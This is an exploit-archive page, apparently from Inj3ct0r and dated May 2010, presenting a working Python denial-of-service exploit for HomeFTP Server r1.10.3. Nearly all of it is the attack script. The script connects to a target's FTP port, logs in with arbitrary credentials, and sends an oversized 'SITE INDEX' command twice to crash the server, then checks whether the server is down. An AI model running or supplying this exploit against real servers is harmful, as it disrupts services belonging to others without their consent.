HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit
Posted on 28 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================ HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit ============================================================ #!/usr/bin/python ################################################################### # # HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit # Found By: Dr_IDE # Date: May 28, 2010 # Download: http://downstairs.dnsalias.net/products.html # Tested: Windows 7 # ################################################################### import socket, sys host = (sys.argv[1]) buff = ("A" * 5000) cmds = ('SITE INDEX') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print (" [i] Connecting to: " + host +" ") print ("[*] Crashing server with command: " + cmds + " ") try: s.connect((host, 21)) d=s.recv(1024) print (d) s.send("USER dr_ide ") #anonymous login so anything goes d=s.recv(1024) print (d) s.send("PASS dr_ide ") d=s.recv(1024) print (d) s.send(cmds + " " + buff + ' ') d=s.recv(1024) print (d) s.send(cmds + " " + buff + ' ') #Second time does the trick. d=s.recv(1024) print (d) s.close() try: s.connect((host,21)) except: print (" [i] Success, Server is Down.") except: print ("[i] Error") # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-28]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>